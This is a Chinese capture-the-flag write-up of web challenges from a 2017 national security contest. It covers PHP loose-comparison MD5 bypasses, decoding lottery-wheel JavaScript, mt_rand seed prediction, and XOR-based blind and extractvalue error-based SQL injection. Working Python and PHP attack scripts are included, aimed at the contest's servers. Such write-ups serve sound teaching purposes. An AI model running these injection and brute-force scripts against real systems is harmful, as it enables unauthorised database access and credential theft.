最近比较忙,可能补题的速度慢一些些~

签到题

首先进入界面发现如下代码

然后就知道用==弱匹配,构造一个纯数字串和一个纯字母串,让他们的MD5值形如0exxx且0e后面全是纯数字。就构成科学记数法0==0,payload

Username:QNKCDZO
password:240610708

进去后发现还有一个简单的绕过

我们看到又是==,有一个参考表,大家一看便知~

post的payload构造如下

message={"key":0}

抽抽奖

看到这题首先想到转盘模板,应该是js,然后看源代码的时候发现了jQurey.js这个函数有点特别,因为有一段jother加密的代码,而且相当大,没法直接运行。

然后我们在下面可以看到控制转盘的函数,通过chrome中的console调试可以发现这个可以控制转盘的方向等等。而其中的jsctf0 还是jsctf1变量也好都是我们可以更改的。

$(_$[0]).rotate({bind: {click: function() {var jsctf0 = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8];jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)];console.log(jsctf0);if (jsctf0 == 0x0) {timeOut()} else {var jsctf1 = [0x0];jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)];if (jsctf1 == 0x1) {rotateFunc(0x1, 0x9d, _$[1])};if (jsctf1 == 0x2) {rotateFunc(0x2, 0xf7, _$[2])};if (jsctf1 == 0x3) {rotateFunc(0x3, 0x16, _$[3])};if (jsctf1 == 0x0) {var jsctf2 = [0x43, 0x70, 0xca, 0x124, 0x151];jsctf2 = jsctf2[Math.floor(Math.random() * jsctf2.length)];rotateFunc(0x0, jsctf2, 0x0)}}}}});

然后我们理所应当的揭秘那个jother加密后的代码,但是那个玩意儿实在是太大了!大概7000万字节,很难弄,但是我们可以利用chrome浏览器啊!console是一个很强大开发工具!我们可以输入指令。比如说如下!!!猜测flag?

浏览器已经帮你解决好了,但是这一步多少还是蒙的,其实分析刚刚看的代码知道调用功能的关键函数是rotateFunc函数,那我们在console中看一下rotateFunc函数也能得到关键函数getFlag~
得到代码如下

直接一搞就看到了

(function() {
window.getFlag=function(text){  if(text=='1'){      alert("你最厉害啦!可惜没flag")  }   if(text=='2'){      alert("你太厉害了,竟然是二等奖")   }   if(text=='3'){      alert("你好厉害,三等奖啊")  }   if(text=='flag'){       alert("flag{951c712ac2c3e57053c43d80c0a9e543}")     }   if(text=='0'){      alert("再来一次吧")  } }
})

继续抽

首先还是转盘,F12打开源码,发现当前的代码存在,整理后的格式为

$(function() {var rotateFunc = function(jsctf0, jsctf1, jsctf2) {$('#lotteryBtn').stopRotate();$("#lotteryBtn").rotate({angle: 0x0,duration: 0x1388,animateTo: jsctf1 + 0x5a0,callback: function() {$.get('get.php?token=' + $("#token").val() + "&id=" + encode(md5(jsctf2)), function(jsctf3) {alert(jsctf3['text'])}, 'json');$.get('token.php', function(jsctf3) {$("#token").val(jsctf3)}, 'json')}})};$("#lotteryBtn").rotate({bind: {click: function() {var jsctf0 = [0x0];jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)];if (jsctf0 == 0x1) {rotateFunc(0x1, 0x9d, '1')};if (jsctf0 == 0x2) {rotateFunc(0x2, 0xf7, '2')};if (jsctf0 == 0x3) {rotateFunc(0x3, 0x16, '3')};if (jsctf0 == 0x0) {var jsctf1 = [0x43, 0x70, 0xca, 0x124, 0x151];jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)];rotateFunc(0x0, jsctf1, '0')}}}})
})

我们发现下面还是转盘的控制函数嘛,但是上面就是get访问什么东西,构造就行了,首先我们需要到token.php上面拿到token值放到url中(这里token测试过不会变)。那么生成id的值的时候需要一个encode函数,这个是他自己写的,没关系我们再用console查询!

整理后的为

function encode(string) {var output = '';for (var x = 0, y = string.length, charCode, hexCode; x < y; ++x) {charCode = string.charCodeAt(x);if (128 > charCode) {charCode += 128} else if (127 < charCode) {charCode -= 128}charCode = 255 - charCode;hexCode = charCode.toString(16);if (2 > hexCode.length) {hexCode = '0' + hexCode}output += hexCode}return output
}

简单的加密格式转换而已,然后最关键的问题来了,rotateFunc函数中的jsctf2变量是转盘中调用到的函数,代码中只有0,1,2,3,而且肯定没答案。我们怎么知道是什么呢?脚本暴力构造!

上面思路理清了代码就不难写了

# -- coding:utf-8 --
import requests
import pyquery
import hashlib
cookies={'PHPSESSID':'3k2rd4536me3rjsojf473vctd7'}def encode(string):key=""for i in string:if ord(i)<128:temp=ord(i)+128elif ord(i)>127:temp=ord(i)-128hexcode=255-temphexvalue=""if len(hex(hexcode)[2:])==0:hexvalue+="0"hexvalue+=hex(hexcode)[2:]key+=hexvaluereturn keys=requests.Session()
for num in range(256):url='http://117.34.111.15:81/'token = s.get(url+"token.php",cookies=cookies).text[1:-1]#print tokenhave_encode=encode(hashlib.md5(str(num)).hexdigest())#print str(have_encode)makeurl=url+"get.php?token="+str(token)+"&id="+str(have_encode)#print makeurlhtml=s.get(makeurl,cookies=cookies).textif 'flag' in html:print html

Wrong

找到这个 .index.php.swp 通过恢复文件 vim -r index.php 得到下面源码

 <?phperror_reporting(0);function create_password($pw_length=10){$randpwd="";for($i=0;$i<$pw_length;$i++){$randpwd.=chr(mt_rand(33,126));}return $randpwd;}
session_start();
mt_srand(time());
$pwd=create_password();if($pwd==$_GET['pwd']){if($_SESSION['userLogin'==$_GET[login]]){echo "Good job, you get the key";}else {echo "Wrong!"; }
}
$_SESSION['userLogin']=create_password(32).rand();
?>

这个题目还是考察的php魔法,一开始第一反应$pwd==$_GET[‘pwd’]能否构成0==String,但是发现$_GET[]没法实现整除的传参。然后就注意到了伪随机数mt_sand ,只要本机的随机数种子 time() 和服务器一致,就生成完全一样的字符串!

然后后面的$_SESSION[‘userLogin’]==$_GET[login],可以通过删除Cookie的方法构造成NULL==NULL(第一次的时候话没有Session所以为NULL,我们构造userLogin=来构造NULL)

然后写一下代码就好了,这里需要保持本机和服务器的时间同步?不知道服务器什么时间就暴力跑好了~(ps:这个服务器时间实在是不知道,都试试吧~)

#我过了的代码如下:
<?php
require_once '/include/Requests-1.7.0/library/Requests.php';
Requests::register_autoloader();
$url = 'http://117.34.111.15:85/index.php';
function create_password($pw_length = 10){$randpwd = "";for ($i = 0; $i < $pw_length; $i++){$randpwd .= chr(mt_rand(33,126));}return $randpwd;
}
$headers = array('Cookie' =>"");
for($i=-100;$i<=0;$i++){mt_srand(time()+$i); $pwd = create_password();$rep = Requests::get($url."?login=&pwd=$pwd");$content = $rep->body;$pos = strpos($content, "Good job");if($pos!==false){echo $content;}
}
?>

flag{rand_afjk_u8nm_uq2n}

so easy!

首先开头我们得到了源码。我们看到主要有三个功能

然后我们看到login函数中要admin

然后再看show函数功能,我们可以查询admin的role角色,如果正常查的话一定是admin is admin!

然后就是涨姿势的时候了!黑科技用Mysql中的位运算可以构造注入点!看一下本地的实验结果

构造username=0’^1^’1

而且我们通过login函数的查询语句,知道了passwd的位置就在user之下吧!那么我们看一下过滤函数,什么都过滤了,但是!没有过滤ascii、mid、select、from!然后我们可以用()来代替空格
简单讲一下mid这个函数为什么在过滤了逗号时候可以利用,mid函数的参数是 mid(查询变量,start,len) ,但是我们可以这样构造mid(查询变量 from start),也就是说mid可以控制查询变量的起点而ascii这个函数,当查询的是串的时候后面都会截断! 下面是本地的实验



接下来就是盲注了~懂了构造的原理代码就很简单了

# -- coding:utf-8 --
import requests
url='http://117.34.111.15:89/?action=show'
s=requests.Session()
passwd=''
for l in range(1,32):for c in range(1,133):username="0'^(ascii(mid((select(passwd)from(user)where(username='admin'))from(%d)))=%d)^'1"%(l,c)data={'username':username,'passwd':123}html=s.post(url,data=data).textif 'admin' in html:passwd+=chr(c)print passwdbreak

然后我们可以爆出来的passwd答案是

37b1d2f04f594bfffc826fd69e389688

然后不让我们用admin登陆,怎么办呢?utf-8编码问题绕过,超过可见字符就截断了!

flag{e4d93a53bbe9a2f9c419086c16439aa7}

just a test

不得不说自己的水平还是太低了,一开始实验的时候连注入点都找不到,本来以为是在什么地方存在什么,后面发现了注入点不是别的地方!正是我们的url路径上!没想到查询每一个页面的时候用的就是mysql的语句,的确是学习了。

然后明显的感觉就是报错注入吧,这里可以用ExtractValue或者UpdateXml函数的经典报错注入,下面进行一下简单的尝试。发现这两种方法都是可以用的~下面得到当前的数据库为test1

但是我们想要的内容不一定在test1中,还是需要报数据库名,发现还有一个test


然后我们需要爆一下表名,因为表的名字比较多,不妨写个脚本提取。

# -*- coding:utf-8 -*-
import requests
import time
import re
s=requests.Session()
for i in range(1,100):url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit %d,1)))  and '1'='1"%ihtml=s.get(url).textcontent=re.findall(r'\'(.*?)\'',html,re.S)print content[0][1:]

然后我们发现了端倪,表fl@g

然后我们再爆列名吧~稍微修改就行

# -*- coding:utf-8 -*-
import requests
import time
import re
s=requests.Session()
for i in range(1,1000):url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns limit %d,1)))  and '1'='1"%ihtml=s.get(url).textcontent=re.findall(r'\'(.*?)\'',html,re.S)print content[0][1:]

然后我们能发现ctf中明显的提示指向…

然后就好办了,查询字段内容即可,但是这里有个坑点!fl@g这个东西在mysql会把@后面的当成变量!所以我们需要加上“符号

事实证明这个要的flag就是不在test1中

那就是在test中喽~

但是真的是答案吗?不是滴,因为ExtractValue或者UpdateXml报错出来的都只有32位的!具体的恐怕还是要用盲注了!

# -*- coding:utf-8 -*-
import requests
s=requests.Session()
flag='flag{99cd1872c9b26525a8e5ec878d'
for i in range(32,50):end=0for j in range(32,127):url="http://117.34.111.15:83/' and ascii(mid((select f1ag from test.`fl@g` limit 0,1),%d,1))=%d  and '1'='1"%(i,j)html=s.get(url).textprint chr(j)if "404 - Page Not Found" not in html:end=1flag+=chr(j)print flagbreakif end==0:break

真正答案~flag{99cd1872c9b26525a8e5ec878d230caf}

第三届全国网络空间安全技术大赛 Web补题 By Assassin(持续更新)相关推荐

  1. ctf 抓捕赵德汉_2017网络空间安全技术大赛决赛周末开战 大家赶紧来看看之前线上赛的Writeup 抓捕赵德汉...

    网络空间安全技术大赛决赛本周末就要开战了,在之前,让我们一方面请CTF高手聊比赛经验,另外一方面抓紧回顾一下线上赛的Writeup,这对于后续的比赛至关重要. 26个队伍杀入5月13日决赛 网络空间安 ...

  2. 2017 陕西网络空间安全技术大赛writeup

    WEB 签到题 点开后是一个登陆框,直接查看源码得到关键代码 <!-- if (isset($_GET['Username']) && isset($_GET['password ...

  3. ctf 抓捕赵德汉_第三届网络空间安全技术大赛WriteUp(cstc2017)

    web 1 签到题 1.看源码发现是php隐士转换直接 Username=QNKCDZO,password=240610708 ,得到下一个地址 http://117.34.111.15:84/jso ...

  4. 2017陕西省网络空间安全技术大赛_Crypto_crypt1_Writeup

    题目地址 中间人相遇攻击 题目给了一份这样的RC2加密的代码 # -*- coding: utf-8 -*- from Crypto import Random from Crypto.Cipher ...

  5. 【Writeup】2017陕西网络空间安全技术大赛CSTC misc部分

    Misc 一维码 扫描一维码得到keyword:hydan 对一维码使用Stegsolve LSB隐写提取得到一个ELF文件 网上找hydan得到这个信息隐藏工具 安装好,然后执行 ./hydan-d ...

  6. ctf 抓捕赵德汉_2017年网络空间安全技术大赛部分writeup

    作为一个bin小子,这次一个bin都没做出来,我很羞愧. 0x00 拯救鲁班七号 具体操作不多说,直接进入反编译源码阶段 可以看到,只要2处的str等于a就可以了,而str是由1处的checkPass ...

  7. 2017年陕西省网络空间安全技术大赛·Mobile T5

    0x00前言 由于第四题较直接,一个md5的比较,fa3733c647dca53a66cf8df953c2d539通过md5查询解密出来是monkey99, 然后真码就是monkey99了.这个第五题 ...

  8. 2017年陕西省网络空间安全技术大赛·Mobile T1

    0x00拯救鲁班七号 CM下载网址:链接: https://pan.baidu.com/s/10EPc2KCWqcaT9wLw5eyxWw 密码: swkn 界面流程:一个输入框,一个按钮. 0x01 ...

  9. ctf 抓捕赵德汉_陕西省网络空间安全技术大赛Mobile(四)--人民的名义抓捕赵德汉1...

    本帖最后由 Enigma_G 于 2017-5-2 22:40 编辑 0x00 闲言碎语 这位朋友 @挥汗如雨  说让我写第四题,他写第五题,看了下题挺简单就答应了...我就简单分析下这题 题目链接  ...

最新文章

  1. axios与ajax区别
  2. 利用OLED构成可控点光源: SSD1306
  3. 收藏:JavaScript
  4. Web常见约定规范(精选)
  5. Promise对象的创建与使用
  6. java utf8转iso8859-1_在Java中将UTF-8转换为ISO-8859-1
  7. 1006. 换个格式输出整数 (15)
  8. 2019入门级云主机选型测试报告
  9. hnu暑期实训 数码管儿
  10. java反射 set_Java反射
  11. 【转】SQLServer 行列互换
  12. 单片机跑马灯代码示例
  13. 使用MATLAB的trainNetwork设计一个简单的LSTM神经网络
  14. mac 安装redis 视频教程
  15. 心理测试html5,50个最准心理测试题 非常准的心理测试题
  16. 几种常用的差异分析方法简介
  17. 如果你恨一个人,就让他去接手别人的代码
  18. 脑机接口竞赛( BCI competition)数据集,其他数据集下载链接
  19. 【离散数学】群、环和域的关系
  20. | + logger

热门文章

  1. Win10中解决Prolific PL2303出现错误代码10的问题
  2. Amazon报告-管理库存报告(FBA Manage Inventory)
  3. java tcp 乱码_Java和C++通过Socket通信中文乱码的解决
  4. npm没有权限,显示no such file or directory
  5. html5基础考试选择题,HTML5 基础测试题
  6. halcon的长度和角度测量
  7. 又是一年将尽时 移动开始话费大促销
  8. 【英语】大学英语CET考试,写作部分(论述文+应用文,6篇范文)
  9. 华为Java面试真题解析,都是精髓!
  10. 获取CARLA插件SCENARIO RUNNER